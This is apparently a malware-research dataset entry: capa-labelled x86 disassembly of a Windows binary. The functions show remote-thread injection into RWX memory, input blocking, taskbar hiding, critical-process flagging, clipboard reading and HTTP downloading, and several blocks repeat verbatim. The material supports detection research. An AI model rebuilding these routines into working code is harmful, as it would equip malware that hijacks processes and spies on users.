joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44e830
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x909
push 0
push 0
dec ecx
jne 0x44e838
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x44ea77
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00405234
push 5
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x44ea59
xor eax, eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4800
lea eax, [ebp - 0x4814]
push eax
push 3
push 0x30
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_EnumServicesStatusA
mov edi, dword [ebp - 0x10]
dec edi
test edi, edi
jl 0x44ea40
inc edi
lea ebx, [ebp - 0x4814]
lea eax, [ebp - 0x4818]
mov edx, dword [ebx]
call fcn.0040542c
mov edx, dword [ebp - 0x4818]
mov eax, esi
call fcn.0040551c
push dword [esi]
push 0x44ea90
lea eax, [ebp - 0x4820]
mov edx, dword [ebx]
call fcn.0040542c
mov eax, dword [ebp - 0x4820]
lea edx, [ebp - 0x481c]
call fcn.0044e474
push dword [ebp - 0x481c]
mov eax, esi
mov edx, 3
call fcn.004055e4
push dword [esi]
push 0x44ea90
lea eax, [ebp - 0x4824]
push eax
lea eax, [ebp - 0x4828]
mov edx, dword [ebx]
call fcn.0040542c
mov eax, dword [ebp - 0x4828]
xor ecx, ecx
xor edx, edx
call fcn.0044e52c
push dword [ebp - 0x4824]
mov eax, esi
mov edx, 3
call fcn.004055e4
push dword [esi]
push 0x44ea90
lea eax, [ebp - 0x4830]
mov edx, dword [ebx]
call fcn.0040542c
mov edx, dword [ebp - 0x4830]
lea ecx, [ebp - 0x482c]
xor eax, eax
call fcn.0044e614
push dword [ebp - 0x482c]
mov eax, esi
mov edx, 3
call fcn.004055e4
push dword [esi]
push 0x44ea90
push 0x44ea9c
lea eax, [ebp - 0x4834]
push eax
lea eax, [ebp - 0x483c]
mov edx, dword [ebx]
call fcn.0040542c
mov ecx, dword [ebp - 0x483c]
lea eax, [ebp - 0x4838]
mov edx, 0x44eab0
call fcn.00405568
mov edx, dword [ebp - 0x4838]
mov ecx, 1
mov eax, 0x80000002
call fcn.0044e268
push dword [ebp - 0x4834]
mov eax, esi
mov edx, 3
call fcn.004055e4
push dword [esi]
push 0x44ea90
lea eax, [ebp - 0x4848]
mov edx, dword [ebx]
call fcn.0040542c
mov ecx, dword [ebp - 0x4848]
lea eax, [ebp - 0x4844]
mov edx, 0x44eab0
call fcn.00405568
mov edx, dword [ebp - 0x4844]
mov ecx, 0x44eadc
mov eax, 0x80000002
call fcn.0044e730
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x4840]
call fcn.0044e7cc
push dword [ebp - 0x4840]
push 0x44eaec
mov eax, esi
mov edx, 4
call fcn.004055e4
add ebx, 0x24
dec edi
jne 0x44e8ae
cmp dword [ebp - 0xc], 0
jne 0x44e876
cmp dword [ebp - 8], 0
jbe 0x44ea59
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44ea7e
lea eax, [ebp - 0x4848]
mov edx, 0xd
call fcn.00405258
ret
Function at 0x4525b7
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jne 0x452484
push 1
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 1
jne 0x452495
push 0
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 2
jne 0x4524c2
push 0
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 3
jne 0x4524ef
push 0xffffffffffffffff
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 4
jne 0x45250d
push 0
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 5
jne 0x45252b
push 5
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 6
jne 0x45254b
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 7
jne 0x45256b
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 8
jne 0x45258c
mov dl, 1
mov eax, 0x45267c
call fcn.00452180
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
jmp 0x452612
cmp ebx, 9
jne 0x452598
call fcn.00452324
jmp 0x452612
cmp ebx, 0xa
jne 0x4525a4
call fcn.004522f0
jmp 0x452612
cmp ebx, 0xb
jne 0x4525b0
call fcn.004522bc
jmp 0x452612
cmp ebx, 0xc
jne 0x4525cb
push 0
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xd
jne 0x4525e6
push 8
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xe
jne 0x4525fd
push 0
push 0
push 0
push 0x4526a0
call sub.winmm.dll_mciSendStringA
jmp 0x452612
cmp ebx, 0xf
jne 0x452612
push 0
push 0
push 0
push 0x4526bc
call sub.winmm.dll_mciSendStringA
cmp ebx, 0x10
jne 0x45262a
push esp
push 0
push 0
push 0x452360
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
cmp ebx, 0x11
jne 0x452642
push esp
push 0
push 0
push 0x4523e8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
pop edx
pop ebx
ret
Function at 0x4525d2
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jne 0x452484
push 1
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 1
jne 0x452495
push 0
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 2
jne 0x4524c2
push 0
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 3
jne 0x4524ef
push 0xffffffffffffffff
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 4
jne 0x45250d
push 0
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 5
jne 0x45252b
push 5
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 6
jne 0x45254b
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 7
jne 0x45256b
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 8
jne 0x45258c
mov dl, 1
mov eax, 0x45267c
call fcn.00452180
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
jmp 0x452612
cmp ebx, 9
jne 0x452598
call fcn.00452324
jmp 0x452612
cmp ebx, 0xa
jne 0x4525a4
call fcn.004522f0
jmp 0x452612
cmp ebx, 0xb
jne 0x4525b0
call fcn.004522bc
jmp 0x452612
cmp ebx, 0xc
jne 0x4525cb
push 0
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xd
jne 0x4525e6
push 8
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xe
jne 0x4525fd
push 0
push 0
push 0
push 0x4526a0
call sub.winmm.dll_mciSendStringA
jmp 0x452612
cmp ebx, 0xf
jne 0x452612
push 0
push 0
push 0
push 0x4526bc
call sub.winmm.dll_mciSendStringA
cmp ebx, 0x10
jne 0x45262a
push esp
push 0
push 0
push 0x452360
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
cmp ebx, 0x11
jne 0x452642
push esp
push 0
push 0
push 0x4523e8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
pop edx
pop ebx
ret
Function at 0x452606
Capabilities:
Create thread

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jne 0x452484
push 1
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 1
jne 0x452495
push 0
call sub.user32.dll_BlockInput
jmp 0x452612
cmp ebx, 2
jne 0x4524c2
push 0
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 3
jne 0x4524ef
push 0xffffffffffffffff
push 0
push 0x452648
push 0
push 0
push 0x45265c
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x452612
cmp ebx, 4
jne 0x45250d
push 0
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 5
jne 0x45252b
push 5
push 0x452664
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 6
jne 0x45254b
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 7
jne 0x45256b
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x452612
cmp ebx, 8
jne 0x45258c
mov dl, 1
mov eax, 0x45267c
call fcn.00452180
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
jmp 0x452612
cmp ebx, 9
jne 0x452598
call fcn.00452324
jmp 0x452612
cmp ebx, 0xa
jne 0x4525a4
call fcn.004522f0
jmp 0x452612
cmp ebx, 0xb
jne 0x4525b0
call fcn.004522bc
jmp 0x452612
cmp ebx, 0xc
jne 0x4525cb
push 0
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xd
jne 0x4525e6
push 8
push 0
push 0x452690
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x452612
cmp ebx, 0xe
jne 0x4525fd
push 0
push 0
push 0
push 0x4526a0
call sub.winmm.dll_mciSendStringA
jmp 0x452612
cmp ebx, 0xf
jne 0x452612
push 0
push 0
push 0
push 0x4526bc
call sub.winmm.dll_mciSendStringA
cmp ebx, 0x10
jne 0x45262a
push esp
push 0
push 0
push 0x452360
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
cmp ebx, 0x11
jne 0x452642
push esp
push 0
push 0
push 0x4523e8
push 0
push 0
call sub.KERNEL32.DLL_CreateThread_1
pop edx
pop ebx
ret

Function at 0x4526dc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004056d0
xor eax, eax
push ebp
push 0x45272a
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004056e0
push eax
push 0x452734
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452731
lea eax, [ebp - 4]
call fcn.00405234
ret
Function at 0x45273c
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4528ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405234
mov eax, 0x320
call fcn.00402ea0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x28
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x45288b
lea eax, [ebp - 0x10]
push eax
push 0x320
mov eax, dword [ebp - 0xc]
push eax
push 3
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x45288b
mov eax, 0xff
call fcn.00402ea0
mov ebx, eax
mov eax, 0xff
call fcn.00402ea0
mov esi, eax
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
dec edi
test edi, edi
jl 0x452875
inc edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0xff
mov dword [ebp - 0x18], 0xff
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*4 + 4]
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeNameA
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
push 0
call sub.advapi32.dll_LookupPrivilegeDisplayNameA
mov eax, dword [ebp - 4]
push dword [eax]
push 0x4528c4
lea eax, [ebp - 0x124]
mov edx, ebx
call fcn.00403dc0
lea edx, [ebp - 0x124]
lea eax, [ebp - 0x24]
call fcn.00405498
push dword [ebp - 0x24]
push 0x4528d0
push 0x4528dc
lea eax, [ebp - 0x128]
mov edx, esi
call fcn.0040542c
push dword [ebp - 0x128]
mov eax, dword [ebp - 4]
mov edx, 6
call fcn.004055e4
inc dword [ebp - 0x14]
dec edi
jne 0x4527e0
mov eax, ebx
call fcn.00402ebc
mov eax, esi
call fcn.00402ebc
mov eax, dword [ebp - 0xc]
call fcn.00402ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4528b3
lea eax, [ebp - 0x128]
call fcn.00405234
lea eax, [ebp - 0x24]
call fcn.00405234
ret
Function at 0x4528e0
Capabilities:
List drag and drop files
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe0
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x420], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4529de
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
mov eax, ebx
call fcn.004059a8
push 0
call sub.user32.dll_OpenClipboard
xor eax, eax
push ebp
push 0x4529be
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf
call sub.user32.dll_GetClipboardData
mov edi, eax
test edi, edi
je 0x4529ab
push 0
push 0
push 0xffffffffffffffff
push edi
call sub.shell32.dll_DragQueryFileW
mov esi, eax
mov eax, ebx
call fcn.004059a8
dec esi
test esi, esi
jl 0x4529a7
inc esi
mov dword [ebp - 8], 0
mov word [ebp - 0x41a], 0
push 0x412
lea eax, [ebp - 0x41a]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
call sub.shell32.dll_DragQueryFileW
push dword [ebx]
lea eax, [ebp - 0x420]
lea edx, [ebp - 0x41a]
mov ecx, 0x209
call fcn.00405b38
push dword [ebp - 0x420]
push 0x4529f4
mov eax, ebx
mov edx, 3
call fcn.00405c50
inc dword [ebp - 8]
dec esi
jne 0x452953
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4529c5
call sub.user32.dll_CloseClipboard
ret

Function at 0x4529fc
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, eax
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x452a65
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
je 0x452a3c
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.0040542c
jmp 0x452a43
mov eax, ebx
call fcn.00405234
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452a6c
cmp dword [ebp - 4], 0
je 0x452a5f
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
ret
Function at 0x452b14
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 4
add esp, 0xfffff004
push eax
dec eax
jne 0x452b1d
mov eax, dword [ebp - 4]
add esp, 0xfffff1d4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
call fcn.00405dac
lea eax, [ebp + 0xc]
call fcn.00405dac
xor eax, eax
push ebp
push 0x452be0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0x4e20
mov eax, ebx
call fcn.004059a8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405b64
push eax
push esi
call sub.advapi32.dll_RegOpenKeyW
test eax, eax
jne 0x452bc2
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x4e30]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp + 0xc]
call fcn.00405b64
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x452bc2
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
lea edx, [ebp - 0x4e30]
mov ecx, 0x2710
call fcn.00405b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452be7
lea eax, [ebp - 4]
call fcn.004059a8
lea eax, [ebp + 0xc]
call fcn.004059a8
ret
Function at 0x4531ac
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, esi
mov edx, ebx
call fcn.00405288
mov eax, ebx
mov edx, 0x45326c
call fcn.00405678
jne 0x4531e0
mov eax, esi
mov edx, 0x453280
call fcn.00405288
jmp 0x45325b
lea eax, [ebp - 0x194]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x45325b
xor eax, eax
push ebp
push 0x453254
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004056e0
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x453225
call sub.wsock32.dll_WSACleanup
call fcn.00404c30
jmp 0x45325b
push 2
push 4
lea eax, [ebp - 4]
push eax
call sub.wsock32.dll_gethostbyaddr
mov ebx, eax
test ebx, ebx
je 0x453241
mov eax, esi
mov edx, dword [ebx]
call fcn.0040542c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45325b
call sub.wsock32.dll_WSACleanup
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x453368
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
cmp byte [0x4647d4], 0
je 0x453426
lea eax, [ebp - 0x194]
push eax
push 2
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x45341f
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x4647d6], 0
je 0x4533ec
xor eax, eax
mov dword [ebp - 4], eax
push 0
push 5
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4647ec]
push eax
call dword [0x4647e4]
cmp eax, 0x7a
jne 0x45340c
mov eax, dword [ebp - 4]
call fcn.00402ea0
mov dword [0x4647ec], eax
push 0
push 5
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4647ec]
push eax
call dword [0x4647e4]
jmp 0x45340c
cmp byte [0x4647d5], 0
je 0x45340c
push 2
push 2
call sub.KERNEL32.DLL_GetProcessHeap
push eax
push 0xffffffffffffffff
push 0x4647ec
call dword [0x4647d8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453426
call sub.wsock32.dll_WSACleanup
ret
mov esp, ebp
pop ebp
ret

Function at 0x45342c
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe6c
cmp byte [0x4647d4], 0
je 0x4534ea
lea eax, [ebp - 0x194]
push eax
push 2
call sub.wsock32.dll_WSAStartup
xor edx, edx
push ebp
push 0x4534e3
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x4647d6], 0
je 0x4534b0
xor eax, eax
mov dword [ebp - 4], eax
push 0
push 1
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4647f0]
push eax
call dword [0x4647e8]
cmp eax, 0x7a
jne 0x4534d0
mov eax, dword [ebp - 4]
call fcn.00402ea0
mov dword [0x4647f0], eax
push 0
push 1
push 2
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
mov eax, dword [0x4647f0]
push eax
call dword [0x4647e8]
jmp 0x4534d0
cmp byte [0x4647d5], 0
je 0x4534d0
push 2
push 2
call sub.KERNEL32.DLL_GetProcessHeap
push eax
push 0xffffffffffffffff
push 0x4647f0
call dword [0x4647d8]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4534ea
call sub.wsock32.dll_WSACleanup
ret
mov esp, ebp
pop ebp
ret
Function at 0x453bc0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x558], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x453cc1
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x558]
mov eax, 0x453cdc
call fcn.004575b0
mov eax, dword [ebp - 0x558]
call fcn.004056e0
push eax
call sub.wininet.dll_InternetOpenA
mov esi, eax
push 0
push 0
push 0
push 0
mov eax, edi
call fcn.004056e0
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
mov edi, eax
test edi, edi
je 0x453ca2
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.004036a0
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403ce0
call fcn.00402ffc
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x554]
push eax
push edi
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x554]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x154]
call fcn.004037f4
call fcn.00402ffc
cmp dword [ebp - 8], 0
jne 0x453c53
lea eax, [ebp - 0x154]
call fcn.00403814
call fcn.00402ffc
mov bl, 1
push edi
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x453cc8
lea eax, [ebp - 0x558]
call fcn.00405234
ret

Function at 0x45441f
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
call sub.KERNEL32.DLL_GetCurrentThreadId_1
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.0044ef7c
mov ebp, eax
cmp ebp, 0xffffffff
je 0x454458
mov dword [esp + 4], 0x1c
lea eax, [esp + 4]
push eax
push ebp
call fcn.0044efdc
test eax, eax
je 0x45444c
mov eax, dword [esp + 0xc]
cmp edi, eax
je 0x45443d
mov edx, dword [esp + 0x10]
cmp edx, dword [esp]
jne 0x45443d
push eax
push 0
push 0x1f03ff
call sub.KERNEL32.DLL_OpenThread
mov esi, eax
test esi, esi
je 0x454458
push esi
call sub.KERNEL32.DLL_ResumeThread
push esi
call sub.KERNEL32.DLL_CloseHandle_1
lea eax, [esp + 4]
push eax
push ebp
call fcn.0044f000
test eax, eax
jne 0x45440d
push ebp
call sub.KERNEL32.DLL_CloseHandle_1
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x454c1c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x1c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x454d94
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
je 0x454d71
push 0x454da4
push 0x454db0
call sub.KERNEL32.DLL_GetModuleHandleA_2
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [ebp - 0x18], eax
push 0x454dc0
push 0x454db0
call sub.KERNEL32.DLL_GetModuleHandleA_2
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [ebp - 0x14], eax
push 0x454dcc
push 0x454db0
call sub.KERNEL32.DLL_GetModuleHandleA_2
push eax
call sub.KERNEL32.DLL_GetProcAddress_1
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x454cac
sub esi, 4
mov esi, dword [esi]
push 0x40
push 0x3000
inc esi
push esi
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x454cdc
sub esi, 4
mov esi, dword [esi]
lea eax, [ebp - 4]
push eax
inc esi
push esi
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00403310
mov eax, dword [ebp - 0x28]
call fcn.004056e0
push eax
mov eax, dword [ebp - 0xc]
push eax
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
push 0x40
push 0x3000
push 0x10
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
cmp dword [ebp - 4], 0x10
jne 0x454d71
push 0x40
push 0x3000
push 0x1f4
push 0
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0x1f4
push 0x454be8
push edi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
cmp dword [ebp - 4], 0x1f4
jne 0x454d71
lea eax, [ebp - 8]
push eax
push 0
push esi
push edi
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
test eax, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x454d9b
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00405258
lea eax, [ebp - 0x1c]
call fcn.00405234
ret